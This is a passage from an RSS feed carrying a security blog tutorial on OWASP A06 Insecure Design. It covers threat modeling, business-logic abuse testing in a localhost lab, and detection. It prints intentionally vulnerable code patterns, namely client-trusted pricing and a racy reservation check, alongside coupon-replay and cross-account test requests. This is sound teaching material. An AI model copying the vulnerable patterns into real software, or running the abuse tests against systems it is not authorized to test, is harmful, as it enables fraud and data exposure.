<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Intelithics on Medium]]></title>
        <description><![CDATA[Stories by Intelithics on Medium]]></description>
        <link>https://medium.com/@intelithics?source=rss-1d4bcfe23d96------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uL56TcOIxzsZHprk_tk5vQ.jpeg</url>
            <title>Stories by Intelithics on Medium</title>
            <link>https://medium.com/@intelithics?source=rss-1d4bcfe23d96------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 19:21:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@intelithics/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Part 7-OWASP Top 10:2025 — A06: Insecure Design]]></title>
            <link>https://systemweakness.com/part-7-owasp-top-10-2025-a06-insecure-design-d516b821eef2?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/d516b821eef2</guid>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[insecure-design]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 06:26:42 GMT</pubDate>
            <atom:updated>2026-11-13T06:26:42.779Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Intelithics</strong><br><em>Application Security · Threat Modeling · Red Teaming · Secure Architecture</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7g05LPT_yLAifGs3DCQpNg.png" /></figure><h3>1. Introduction: The Vulnerability That Can Exist Before the First Line of Code</h3><p>Imagine an e-commerce platform that allows customers to reserve limited-stock products.The development team implements authentication, input validation, HTTPS, secure database queries, and access controls. The application passes automated security scans.Yet a customer can reserve the same limited-stock product repeatedly, bypass the intended purchase limit, or manipulate the checkout sequence to obtain an outcome the business never intended.</p><blockquote>The issue may not be a missing patch or a coding mistake.</blockquote><h4>The application may have been designed without defining:</h4><ul><li>How many reservations a customer is allowed to make.</li><li>Which state transitions are valid.</li><li>Whether a reservation can be repeated or replayed.</li><li>How concurrent requests should be handled</li><li>Which business rules must be enforced on the server.</li><li>What should happen when a payment or reservation operation fails halfway through.</li></ul><p>The application may be functioning exactly as its original design allows.This the central problem behind <strong>Insecure Design</strong>.</p><p>A security control cannot reliably protect against a threat that the system’s requirements and architecture never considered.Insecure Design shifts the security discussion beyond code quality. It asks whether the application was designed to prevent abuse in the first place.</p><h3>2. What Is A06:2025 — Insecure Design?</h3><p>OWASP defines Insecure Design as a broad category of weaknesses caused by missing or ineffective control design.</p><h4>It focuses on security weaknesses introduced during:</h4><ul><li>Requirements gathering.</li><li>Business logic definition.</li><li>Architecture and system design.</li><li>Trust-boundary definition.</li><li>Workflow and state-transition design.</li><li>Threat modeling.</li><li>Security control planning.</li></ul><blockquote>The category includes flaws where an application does not adequately account for how legitimate features could be abused.</blockquote><p><strong>For example:</strong></p><p>A platform may correctly allow users to apply discount coupons. However, if its requirements never define whether a coupon can be redeemed once per account, once per order, or once per customer, the application may have no meaningful control against repeated redemption.</p><p>The problem is not necessarily the coupon-validation code. The underlying business rule may never have been defined.</p><h3>A06:2025 position in the OWASP Top 10</h3><p>In the OWASP Top 10:2025, Insecure Design is ranked <strong>sixth</strong>.</p><p>MetricOWASP A06:2025Ranking#6CWEs mapped39Maximum incidence rate22.18%Average incidence rate1.86%Maximum coverage88.76%Average coverage35.18%Average weighted exploit6.96Average weighted impact4.05Total occurrences729,882Total CVEs7,647</p><p><strong>Important:</strong> These are category-level figures from OWASP’s dataset. They do not represent the probability that a particular application is vulnerable.</p><p>OWASP A06:2025 — Insecure Design</p><h3>3. Insecure Design vs. Insecure Implementation</h3><p>This distinction is essential when performing a professional security assessment.Both can produce exploitable vulnerabilities, but their root causes and remediation strategies differ.</p><h3>Insecure Design</h3><p>A required security control was never properly defined or incorporated into the architecture.</p><p><strong>Example:</strong></p><p>A ticket-booking application allows each account to purchase a maximum of four tickets. However, the product requirements never specify how the limit should be enforced across multiple simultaneous requests.</p><p>The application has no architectural mechanism to maintain that invariant.Even well-written code cannot enforce a rule that the system was never designed to enforce.</p><h3>Insecure Implementation</h3><p>The security requirement exists, but the implementation fails to enforce it correctly.</p><p><strong>Example:</strong></p><p>The requirements clearly state that each account may purchase no more than four tickets. The developer implements the check incorrectly, allowing a fifth ticket under certain conditions.The design is valid; the implementation is defective.</p><h3>Comparison</h3><p>AreaInsecure DesignInsecure ImplementationRoot causeMissing or ineffective security control designIncorrect implementation of an intended controlIntroduced duringRequirements and architectureCoding or integrationSecurity requirementMissing, incomplete, or ineffectiveExists but is not correctly enforcedTypical remediationRedesign requirements, workflow, or architectureCorrect code and implementationExampleNo defined transaction limitIncorrect transaction-limit check</p><p><strong>Red-team lesson:</strong> Do not classify every business-logic vulnerability as A06. Identify the root cause first. A flaw caused by a missing design requirement may fit A06; a coding defect may belong elsewhere.</p><h3>4. Core Concepts Behind Insecure Design</h3><p>To identify A06 issues effectively, understand the concepts that determine whether an application can withstand abuse.</p><h3>4.1 Security Requirements</h3><p>Security requirements describe what an application must protect and how it must behave under both normal and hostile conditions.</p><h4>Functional requirement:</h4><blockquote><em>A customer can reserve a product.</em></blockquote><h4>Security requirement:</h4><blockquote><em>A customer may reserve no more than two units of a limited-stock product, and the limit must be enforced on the server for every reservation attempt.</em></blockquote><h4>A complete requirement should define:</h4><ul><li>The protected asset.</li><li>The authorised actor.</li><li>The permitted action.</li><li>The business constraint.</li><li>The enforcement point.</li><li>The expected behaviour during failure.</li><li>The evidence needed to verify enforcement.</li></ul><h3>4.2 Trust Boundaries</h3><p>A trust boundary separates components or environments with different security assumptions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yk7XtOFhzCgSEJ2eAKlQyg.png" /></figure><h4>Consider a typical web application:</h4><pre>+-----------------------------+<br>|        User&#39;s Browser       |<br>|                             |<br>|  UI / JavaScript / Cookies  |<br>+--------------+--------------+<br>               |<br>               | Untrusted input<br>               v<br>+-----------------------------+<br>|        API Gateway          |<br>|                             |<br>| Authentication / Routing    |<br>+--------------+--------------+<br>               |<br>               v<br>+-----------------------------+<br>|       Application API       |<br>|                             |<br>| Authorization / Validation  |<br>| Business Rules / Workflow   |<br>+--------------+--------------+<br>               |<br>               v<br>+-----------------------------+<br>|       Database Layer        |<br>|                             |<br>| Transactions / Constraints  |<br>+-----------------------------+</pre><p>The browser is not a trusted enforcement environment.</p><p>A user can modify JavaScript, replay HTTP requests, change parameters, and call API endpoints without using the intended interface.</p><p>Therefore, critical business decisions must be enforced by trusted server-side components.</p><h3>4.3 Security Invariants</h3><p>An invariant is a condition that must remain true throughout the application’s operation.</p><p><strong>Examples:</strong></p><ul><li>A user cannot spend more money than their available balance.</li><li>A customer cannot exceed the purchase limit.</li><li>A completed payment cannot be processed as a new payment without a valid reason.</li><li>A user cannot access another tenant’s records.</li><li>A cancelled reservation cannot silently become confirmed.</li><li>A coupon cannot be redeemed beyond its defined redemption policy.</li></ul><p>Invariants are especially important because attackers frequently manipulate application state rather than simply submitting malicious input.</p><h3>4.4 State Transitions</h3><p>A state transition defines how an object moves from one state to another.</p><p><strong>For a payment:</strong></p><pre>CREATED<br>   |<br>   v<br>PENDING<br>   |<br>   +------&gt; FAILED<br>   |<br>   v<br>AUTHORIZED<br>   |<br>   v<br>CAPTURED<br>   |<br>   v<br>REFUNDED</pre><h4>A secure design must define:</h4><ul><li>Which transitions are permitted.</li><li>Which actors may initiate them.</li><li>Which conditions must be satisfied.</li><li>Whether transitions can be repeated.</li><li>How failures and retries are handled.</li><li>Whether transitions are atomic.</li></ul><blockquote>A payment should not move from FAILED to CAPTURED merely because a client changes a request parameter.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qppIPybD2hK8njdfDDbQIw.png" /></figure><h3>4.5 Abuse Cases</h3><p>A use case describes legitimate behaviour.An abuse case describes how someone could misuse that functionality.</p><p>Use caseAbuse caseApply a couponRedeem the same coupon repeatedlyReserve a ticketExceed the purchase limitReset a passwordAbuse recovery to take over an accountTransfer fundsReplay or duplicate a transferUpload a documentUpload an unexpected file typeManage an organisationAccess another tenant’s dataSecure design requires both perspectives.</p><h3>5. Common Insecure Design Patterns</h3><h3>5.1 Missing Rate-Limiting Requirements</h3><p>An application exposes sensitive operations without defining interaction limits.</p><p><strong>Examples:</strong></p><ul><li>Password recovery requests.</li><li>OTP generation.</li><li>Coupon redemption.</li><li>Ticket reservations.</li><li>Account creation.</li><li>Expensive search operations.</li></ul><blockquote>Rate limiting should be designed around the business operation, not added as an arbitrary number at the API gateway.</blockquote><h4>Consider:</h4><ul><li>Account-level limits.</li><li>IP-level limits.</li><li>Device or session signals.</li><li>Global service limits.</li><li>Abuse thresholds.</li><li>Legitimate retry behaviour.</li></ul><p>A single IP-based limit may be ineffective against distributed abuse. A single account-based limit may also be insufficient if account creation is unrestricted.</p><h3>5.2 Trusting Client-Side Decisions</h3><p>A frontend may hide buttons, disable fields, or display restrictions.</p><p>These controls improve user experience, but they are not security boundaries.</p><p><strong>Example:</strong></p><pre>if (user.role === &quot;admin&quot;) {<br>    showAdminPanel();<br>}</pre><p>This controls what the interface displays. It does not authorise an administrative API operation.The server must independently verify the authenticated identity, permissions, resource ownership, and relevant business rules.</p><h3>5.3 Missing Business Limits</h3><p>A system may allow:</p><ul><li>Unlimited coupon redemption.</li><li>Unlimited account creation.</li><li>Excessive booking attempts.</li><li>Unlimited resource consumption.</li><li>Repeated promotional claims.</li></ul><blockquote>The missing control is often a product or business requirement, not simply an input-validation problem.</blockquote><h3>5.4 Weak Recovery and Exceptional Workflows</h3><p>Security design often focuses on the normal workflow and neglects recovery.</p><h4>Consider an account recovery process:</h4><ol><li>User requests recovery.</li><li>System sends a verification link.</li><li>User verifies identity.</li><li>User changes the password.</li></ol><p>The design must also address:</p><ul><li>Expired recovery tokens.</li><li>Reused tokens.</li><li>Token invalidation.</li><li>Multiple recovery requests.</li><li>Session invalidation after recovery.</li><li>Notifications to the account owner.</li><li>Rate limits and abuse monitoring.</li></ul><blockquote>A secure primary login process does not compensate for an insecure recovery process.</blockquote><h3>5.5 Inadequate Tenant Isolation</h3><p>In a multi-tenant SaaS application, each organisation must be isolated from other organisations.</p><h4>The design should define tenant boundaries across:</h4><ul><li>Database queries.</li><li>API authorization.</li><li>File storage.</li><li>Background jobs.</li><li>Cache keys.</li><li>Search indexes.</li><li>Reporting and exports.</li></ul><p>Tenant identity should be derived from trusted authentication and authorization context, not blindly accepted from a client-supplied parameter.</p><h3>5.6 Missing Failure-State Design</h3><p>A system may behave securely during normal operations but fail open when a dependency becomes unavailable.</p><p><strong>Examples:</strong></p><ul><li>A payment provider times out.</li><li>A database transaction fails.</li><li>A verification service becomes unavailable.</li><li>A background job is retried.</li><li>A message is delivered more than once.</li></ul><p>The design must define whether an operation is rejected, retried, rolled back, or placed into a controlled pending state.A timeout is not proof that an operation failed. The remote system may have completed the transaction even though the response never reached the application.</p><h3>6. Business Logic Testing: Think Like an Attacker</h3><p>Traditional vulnerability scanners are useful for detecting many technical weaknesses. However, they cannot reliably understand every application’s intended business behaviour.</p><p>Business logic testing requires understanding what the application is supposed to do and then testing whether its rules can be bypassed.</p><h4>A useful testing framework is:</h4><p>TestQuestionSkipCan a required workflow step be skipped?RepeatCan an operation be performed more times than allowed?ReverseCan an object move into an invalid previous state?ModifyCan a business-critical value be manipulated?ReplayCan an old request or token be reused?RaceCan concurrent operations violate an invariant?CrossCan an operation cross account, role, or tenant boundaries?</p><blockquote>These are testing prompts, not automatic vulnerability classifications.</blockquote><h3>Example: Coupon Redemption</h3><p>Expected business rule:</p><blockquote><em>A promotional coupon can be redeemed once per eligible customer.</em></blockquote><h4>Questions to investigate:</h4><ol><li>Is redemption tracked against the authenticated customer?</li><li>Is the rule enforced on the server?</li><li>Can the same redemption request be replayed?</li><li>Can two requests redeem the coupon simultaneously?</li><li>Does changing the order ID change the redemption decision?</li><li>Does the system handle retries safely?</li><li>Is redemption recorded atomically with the order?</li></ol><blockquote>The key question is not whether the coupon field is validated.It is whether the complete redemption operation preserves the intended business invariant.</blockquote><h3>7. Practical Threat Modeling: A Payment and Reservation Application</h3><p>Threat modeling is one of the most useful ways to identify insecure design before implementation.</p><blockquote>Let’s model a fictional application called <strong>ShopSecure</strong>.</blockquote><h3>7.1 Application Overview</h3><p>ShopSecure allows customers to:</p><ul><li>Create accounts.</li><li>Browse products.</li><li>Reserve limited-stock items.</li><li>Apply promotional coupons.</li><li>Pay through an external payment provider.</li><li>View order history.</li></ul><h3>7.2 Identify the Assets</h3><p>AssetSecurity concernCustomer accountAccount takeoverCustomer dataConfidentialityProduct inventoryIntegrity and availabilityCoupon recordsFraud and abusePayment recordsFinancial integrityOrder statusWorkflow integrityTenant recordsIsolation</p><h3>7.3 Identify Actors</h3><ul><li>Anonymous visitor.</li><li>Authenticated customer.</li><li>Customer with malicious intent.</li><li>Customer support employee.</li><li>Administrator.</li><li>External payment provider.</li><li>Background worker.</li></ul><h3>7.4 Draw the Data-Flow Diagram</h3><pre>+----------------+<br>                 |    Customer    |<br>                 +--------+-------+<br>                          |<br>                          v<br>                 +----------------+<br>                 |   Web Client   |<br>                 +--------+-------+<br>                          |<br>                    Untrusted input<br>                          |<br>                          v<br>                 +----------------+<br>                 |    API Layer   |<br>                 +--------+-------+<br>                          |<br>                          v<br>                 +----------------+<br>                 | Business Logic |<br>                 +---+--------+---+<br>                     |        |<br>                     v        v<br>              +----------+  +----------------+<br>              | Database |  | Payment Gateway|<br>              +----------+  +----------------+<br>                     |<br>                     v<br>              +----------------+<br>              | Order Records  |<br>              +----------------+</pre><blockquote>The data-flow diagram helps identify where data crosses trust boundaries and where security controls must be applied.</blockquote><h3>7.5 Apply STRIDE</h3><p>STRIDE is a threat-classification model:</p><ul><li><strong>S — Spoofing:</strong> Pretending to be another identity.</li><li><strong>T — Tampering:</strong> Modifying data or application state.</li><li><strong>R — Repudiation:</strong> Denying an action without sufficient evidence.</li><li><strong>I — Information Disclosure:</strong> Exposing confidential information.</li><li><strong>D — Denial of Service:</strong> Making a service unavailable.</li><li><strong>E — Elevation of Privilege:</strong> Obtaining permissions beyond those authorised.</li></ul><p>STRIDE category Shop Secure threat Design requirement Spoofing Attacker impersonates a customer Strong authentication and session controls Tampering Customer changes order price Server-controlled pricing Repudiation Customer disputes a payment action Auditable transaction records Information disclosure Customer accesses another account’s order Object-level authorization Denial of service Automated reservation abuse. Abuse controls and resource limits Elevation of privilege Customer invokes administrative operation Server-side authorization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wgz-fV1V9Keox_VQ9h-3Fw.png" /></figure><h3>7.6 Convert Threats into Security Requirements</h3><p>A threat model is not complete when threats have merely been listed.Each important threat must produce a requirement that can be implemented and tested.</p><p><strong>Examples</strong>:</p><h4><strong>Requirement 1 — Pricing integrity</strong></h4><p>The server must calculate the final order price using trusted product and promotion data. Client-supplied totals must never be authoritative.</p><h4><strong>Requirement 2 — Reservation integrity</strong></h4><p>The system must enforce the purchase limit atomically, including when multiple requests arrive concurrently.</p><h4><strong>Requirement 3 — Payment integrity</strong></h4><p>Payment operations must use unique transaction identifiers and a defined idempotency strategy.</p><h4><strong>Requirement 4 — Tenant isolation</strong></h4><p>Every tenant-scoped operation must enforce tenant authorization at the server-side data-access boundary.</p><h4><strong>Requirement 5 — Recovery security</strong></h4><p>Recovery tokens must be time-limited, single-use, securely generated, and invalidated after successful use.</p><h4><strong>Requirement 6 — Abuse resistance</strong></h4><p>Sensitive operations must have documented rate limits and monitoring requirements.The result is actionable security design, not merely a list of possible attacks.</p><h3>8. Hands-On Security Assessment Lab: ShopSecure</h3><p>This section demonstrates how a security tester can assess business logic in a controlled environment.</p><p><strong>Scope:</strong> Use only a local lab, your own application, or an environment for which you have explicit authorization. The application and endpoints below are fictional.</p><h3>8.1 Define the Business Rules</h3><p>Assume ShopSecure has the following requirements:</p><ol><li>A customer can reserve a maximum of two units of a limited-stock product.</li><li>A coupon can be redeemed once per eligible customer.</li><li>A reservation must be confirmed before payment capture.</li><li>A completed payment must not be processed twice.</li><li>A customer can access only their own orders.</li></ol><blockquote>These rules form the baseline for the assessment.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4m5LYuccHOgNgAq7CQBrw.png" /></figure><h3>8.2 Map the Normal Workflow</h3><pre>LOGIN<br>  |<br>  v<br>SELECT PRODUCT<br>  |<br>  v<br>CREATE RESERVATION<br>  |<br>  v<br>APPLY COUPON<br>  |<br>  v<br>INITIATE PAYMENT<br>  |<br>  v<br>VERIFY PAYMENT<br>  |<br>  v<br>CONFIRM ORDER</pre><blockquote>Before testing abuse cases, establish the expected behaviour using a normal customer account.</blockquote><p><strong>Record:</strong></p><ul><li>HTTP method and endpoint.</li><li>Request parameters.</li><li>Authentication context.</li><li>Response status.</li><li>Response body.</li><li>Relevant application state.</li><li>Database state, if authorized access is available.</li></ul><h3>8.3 Identify the Relevant Endpoints</h3><p>The fictional application exposes:</p><pre>POST /api/login<br>POST /api/reservations<br>POST /api/coupons/redeem<br>POST /api/payments<br>GET  /api/orders/{orderId}<br>POST /api/orders/{orderId}/confirm</pre><blockquote>These endpoints are examples for the lab, not real services.</blockquote><h3>8.4 Test Workflow Enforcement</h3><p>Suppose the intended sequence is:</p><pre>Reservation Created<br>       |<br>       v<br>Payment Initiated<br>       |<br>       v<br>Payment Verified<br>       |<br>       v<br>Order Confirmed</pre><h4>A tester should examine whether the application rejects:</h4><ul><li>Confirmation before payment verification.</li><li>Payment initiation for a cancelled reservation.</li><li>Repeated confirmation.</li><li>Reuse of an expired reservation.</li><li>Modification of a completed order.</li><li>Access to an order belonging to another customer.</li></ul><p><strong>Expected result:</strong> The server rejects invalid state transitions and does not alter the underlying business state.</p><p><strong>Evidence:</strong> Record the request, response, authenticated test identity, and before-and-after state.</p><h3>8.5 Test Coupon Replay</h3><p>Assume a coupon should be redeemed once per customer.</p><h4>A normal request might look like:</h4><pre>POST /api/coupons/redeem HTTP/1.1<br>Host: localhost<br>Content-Type: application/json<br>Authorization: Bearer &lt;TEST_TOKEN&gt;</pre><pre>{<br>  &quot;orderId&quot;: &quot;ORDER-1001&quot;,<br>  &quot;couponCode&quot;: &quot;WELCOME10&quot;<br>}</pre><p>For an authorized test, submit the same logical redemption operation again and observe the result.</p><p><strong>Questions:</strong></p><ul><li>Does the second request return a rejection?</li><li>Is the coupon discount applied twice?</li><li>Does the order total change unexpectedly?</li><li>Are two redemption records created?</li><li>Does the system preserve a consistent state?</li></ul><p><strong>Expected result:</strong> The coupon’s defined redemption policy is enforced even when a request is repeated. A 200 OK response alone does not prove a vulnerability. Inspect the resulting application state.</p><h3>8.6 Test Concurrent Reservation Behaviour</h3><h4>A check-then-update design may look like this:</h4><pre>if reserved_units &lt; purchase_limit:<br>    reserved_units += requested_units<br>    save(reserved_units)</pre><p>This is unsafe when concurrent requests can read the same old value.</p><p><strong>For example:</strong></p><ul><li>Current reserved quantity: 1.</li><li>Purchase limit: 2.</li><li>Request A reads 1.</li><li>Request B reads 1.</li><li>Both conclude that one more unit is allowed.</li><li>Both write an updated value.</li></ul><p>Depending on the persistence logic, the application may violate the intended purchase limit or lose an update.</p><p>The security requirement is not simply “check the limit.”</p><h4>It is:</h4><blockquote><em>The limit must remain true under concurrent execution.</em></blockquote><p>A tester should use a controlled staging environment and compare the final persisted state against the defined invariant. Avoid testing against production inventory or real payment systems without explicit approval.</p><h3>8.7 Test Object and Tenant Boundaries</h3><p><strong>Create two test customers:</strong></p><ul><li>Customer A owns ORDER-1001.</li><li>Customer B owns ORDER-2002.</li></ul><p>Authenticate as Customer B and attempt to access Customer A’s order.</p><p><strong>Example:</strong></p><pre>GET /api/orders/ORDER-1001 HTTP/1.1<br>Host: localhost<br>Authorization: Bearer &lt;CUSTOMER_B_TOKEN&gt;</pre><p><strong>Expected result:</strong> The request is denied without exposing Customer A’s order information.</p><p>Important classification note: an object-level authorization failure may be classified under Broken Access Control rather than A06. It belongs to A06 only when the root cause is an insecure design weakness within the scope of that category.</p><h3>8.8 Record the Results</h3><p>Test caseExpected resultEvidence to collectWorkflow skippingInvalid transition rejectedRequest, response, stateCoupon replayNo duplicate redemptionRedemption recordsConcurrent reservationLimit remains enforcedFinal persisted quantityCross-customer accessAccess deniedResponse and identityPayment retryNo duplicate chargeTransaction identifiersExpired reservationConfirmation rejectedState and timestamps</p><p>A professional assessment should distinguish a confirmed vulnerability from an unverified hypothesis.</p><h3>9. Secure vs. Vulnerable Design: Practical Code Patterns</h3><p>The following examples illustrate design principles. They are simplified and are not complete production implementations.</p><h3>9.1 Vulnerable Pattern: Trusting the Client’s Price</h3><pre>def create_order(request):<br>    total = request.json[&quot;total&quot;]</pre><pre>    order = {<br>        &quot;user_id&quot;: request.user.id,<br>        &quot;total&quot;: total<br>    }</pre><pre>    database.save(order)</pre><p>The application accepts a financially significant value from an untrusted client.</p><p>The design must specify that product prices, discounts, taxes, and totals are authoritative only when calculated or verified by trusted server-side logic.</p><h3>Secure Pattern: Calculate the Price on the Server</h3><pre>def create_order(request):<br>    product_id = request.json[&quot;product_id&quot;]<br>    quantity = request.json[&quot;quantity&quot;]</pre><pre>    product = database.get_product(product_id)</pre><pre>    if product is None:<br>        raise InvalidProduct()</pre><pre>    if quantity &lt;= 0:<br>        raise InvalidQuantity()</pre><pre>    total = calculate_order_total(<br>        product=product,<br>        quantity=quantity,<br>        customer=request.user<br>    )</pre><pre>    order = database.create_order(<br>        user_id=request.user.id,<br>        total=total<br>    )</pre><pre>    return order</pre><p>The example demonstrates the trust principle. A production implementation must also enforce authorization, inventory constraints, transaction integrity, currency handling, and appropriate validation.</p><h3>9.2 Vulnerable Pattern: Non-Atomic Reservation Check</h3><pre>def reserve(product_id, quantity):<br>    product = database.get_product(product_id)</pre><pre>    if product.reserved + quantity &lt;= product.limit:<br>        product.reserved += quantity<br>        database.save(product)</pre><pre>        return &quot;Reserved&quot;</pre><pre>    return &quot;Limit exceeded&quot;</pre><blockquote>The read and write are separate operations. Concurrent requests may both pass the check.</blockquote><h3>Secure Pattern: Atomic Conditional Update</h3><p>A relational database can enforce a limit through a conditional update performed as one atomic statement.</p><p>Illustrative SQL:</p><pre>UPDATE products<br>SET reserved = reserved + :quantity<br>WHERE id = :product_id<br>  AND :quantity &gt; 0<br>  AND reserved + :quantity &lt;= purchase_limit;</pre><p>The application must inspect the affected-row count:</p><ul><li>One affected row: the reservation limit was satisfied and the update succeeded.</li><li>Zero affected rows: the product was unavailable, invalid, or the limit was exceeded.</li></ul><p>The database operation should run within the appropriate transaction and consistency model. Additional stock constraints, customer-specific limits, and reservation records must be designed and enforced consistently.</p><h3>9.3 Payment Idempotency</h3><p>Distributed systems experience retries. A client may send a payment request, the provider may process it, and the response may be lost.</p><p>If the client retries without a safe design, the application may create duplicate payment operations. A common approach is an idempotency key.</p><pre>Client<br>  |<br>  | POST /payments<br>  | Idempotency-Key: unique-value<br>  v<br>Payment API<br>  |<br>  v<br>Check idempotency record<br>  |<br>  +---- Existing key ----&gt; Return stored result<br>  |<br>  +---- New key ---------&gt; Process operation<br>                            |<br>                            v<br>                      Persist result</pre><h4>A secure implementation should:</h4><ol><li>Require a unique key for the logical operation.</li><li>Associate the key with the authenticated customer and operation context.</li><li>Persist the key and result safely.</li><li>Prevent concurrent duplicate processing.</li><li>Return the previous result for a valid retry.</li><li>Define how failed and pending operations are handled.</li><li>Retain records for an appropriate period.</li></ol><blockquote>An idempotency key is not a substitute for authorization, payment verification, or transaction design.</blockquote><h3>10. Advanced Topics for Security Engineers</h3><h3>10.1 Race Conditions</h3><p>A race condition occurs when the outcome of an operation depends on the timing or ordering of concurrent execution.</p><h4>Relevant application scenarios include:</h4><ul><li>Coupon redemption.</li><li>Inventory reservation.</li><li>Account balance updates.</li><li>Payment processing.</li><li>Password-reset token consumption.</li><li>Resource allocation.</li></ul><p>CWE-362 describes concurrent execution using a shared resource with improper synchronization.</p><p>For security assessments, investigate whether concurrent operations can violate a defined invariant.</p><p>Do not report every race condition as A06. The root cause and category mapping must be established.</p><h3>10.2 State-Machine Abuse</h3><p>An application may have a valid state machine but expose transitions without adequate enforcement.</p><p><strong>For example:</strong></p><pre>DRAFT<br>  |<br>  v<br>SUBMITTED<br>  |<br>  v<br>APPROVED<br>  |<br>  v<br>COMPLETED</pre><h4>Questions to ask:</h4><ul><li>Can a user jump directly from DRAFT to COMPLETED?</li><li>Can an approved object be modified?</li><li>Can a completed operation be submitted again?</li><li>Can a cancelled operation be approved?</li><li>Can an unauthorised actor trigger a transition?</li><li>Are transitions checked against the current persisted state?</li></ul><h4>The server must enforce the state machine, not merely display it in the frontend.</h4><h3>10.3 Multi-Tenant Security</h3><p>Multi-tenancy creates additional trust boundaries.</p><p>A tenant isolation strategy should cover:</p><ul><li>Identity and tenant membership.</li><li>Authorization decisions.</li><li>Database access.</li><li>Cache namespaces.</li><li>File storage paths.</li><li>Background processing.</li><li>Search and analytics.</li><li>Administrative functions.</li></ul><blockquote>A tenant ID supplied by the client should not be treated as proof that the user belongs to that tenant.</blockquote><h3>10.4 Distributed Transactions</h3><p>Modern applications often use multiple services.</p><p><strong>For example:</strong></p><pre>Order Service<br>     |<br>     v<br>Payment Service<br>     |<br>     v<br>Inventory Service<br>     |<br>     v<br>Notification Service</pre><blockquote>A failure between services can leave inconsistent states.</blockquote><h4>A secure design must consider:</h4><ul><li>Duplicate message delivery.</li><li>Delayed responses.</li><li>Retry policies.</li><li>Idempotent consumers.</li><li>Transaction boundaries.</li><li>Compensation actions.</li><li>Reconciliation processes.</li><li>Auditability.</li></ul><blockquote>A distributed transaction is not automatically atomic merely because each service uses a database transaction.</blockquote><h3>10.5 Failure and Recovery Semantics</h3><p>Security requirements must define behaviour for abnormal conditions.</p><p><strong>Examples:</strong></p><ul><li>What if payment succeeds but order confirmation fails?</li><li>What if an OTP service is unavailable?</li><li>What if a reservation expires during checkout?</li><li>What if a background job processes the same message twice?</li><li>What if a user changes their password while old sessions remain active?</li></ul><blockquote>These are architectural questions. They should be addressed before the system is deployed.</blockquote><h3>11. Tools for Insecure Design Assessment</h3><p>No single scanner can establish whether an application’s business logic is secure.</p><p>A strong assessment combines manual testing, architecture review, code review, and automated analysis.</p><p>Tool Primary use Burp Suite HTTP interception, request manipulation, workflow testing OWASP ZAP Web application security testing Caido HTTP traffic inspection and testing Postman API workflow testing Insomnia API request testing Browser Dev Tools Client-side behaviour and network inspection OWASP Threat Dragon Threat modeling Draw.io Data-flow diagrams and architecture mapping Semgrep Static code analysis Code QLCode querying and security analysis</p><h3>Recommended testing workflow</h3><p><strong>Step 1 — Understand the application</strong></p><p>Identify features, user roles, assets, workflows, and business constraints.</p><p><strong>Step 2 — Map the attack surface</strong></p><p>Enumerate relevant endpoints, state-changing operations, external services, and trust boundaries.</p><p><strong>Step 3 — Establish normal behaviour</strong></p><p>Capture legitimate workflows and expected state transitions.</p><p><strong>Step 4 — Identify security invariants</strong></p><p>Write down the rules that must never be violated.</p><p><strong>Step 5 — Test abuse cases</strong></p><p>Test skip, repeat, reverse, modify, replay, race, and cross-boundary scenarios.</p><p><strong>Step 6 — Review the design</strong></p><p>Determine whether the control was missing from the requirements or whether an existing control was implemented incorrectly.</p><p><strong>Step 7 — Validate the impact</strong></p><p>Demonstrate the business or security consequence using controlled evidence.</p><p><strong>Step 8 — Verify remediation</strong></p><p>Repeat the test after the fix and confirm the invariant remains true.</p><h3>12. Detection Engineering: What Should Defenders Monitor?</h3><p>Prevention and detection are different security functions.</p><p>A system should prevent invalid operations wherever possible. Detection provides visibility when abuse attempts occur or preventive controls fail.</p><h4>Useful signals include:</h4><ul><li>Repeated coupon redemption attempts.</li><li>Unusual reservation frequency.</li><li>Multiple payment attempts for the same logical order.</li><li>Repeated invalid state transitions.</li><li>Unusual account recovery activity.</li><li>Unexpected tenant-boundary access attempts.</li><li>Abnormal resource consumption.</li><li>Repeated failed authorization checks.</li></ul><h3>Example: Detection Logic</h3><p>The following is language-neutral pseudocode, not a production SIEM query.</p><pre>FOR each customer within a defined time window:</pre><pre>    count coupon_redemption_attempts</pre><pre>    IF attempts exceed the defined threshold:<br>        generate security event</pre><pre>    IF the same logical coupon redemption<br>       produces multiple successful records:<br>        raise high-priority alert</pre><pre>    attach:<br>        customer_id<br>        order_id<br>        coupon_id<br>        timestamps<br>        request identifiers<br>        outcome</pre><p>Detection should avoid logging passwords, access tokens, payment-card data, or other secrets. A useful event should include enough context to investigate the operation without exposing sensitive values.</p><h3>13. Prevention: How to Build Secure Systems</h3><p>A secure design process must be integrated into the software development lifecycle.</p><h3>13.1 Security Requirements Before Development</h3><ul><li><strong>Assets and data classification.</strong></li><li><strong>User roles and permissions.</strong></li><li><strong>Business constraints.</strong></li><li><strong>Trust boundaries.</strong></li><li><strong>Expected and abnormal workflows.</strong></li><li><strong>Abuse cases.</strong></li><li><strong>Availability requirements.</strong></li><li><strong>Audit and monitoring needs.</strong></li></ul><p>Security requirements should be testable.</p><h4>Weak requirement:</h4><blockquote><em>The application should prevent 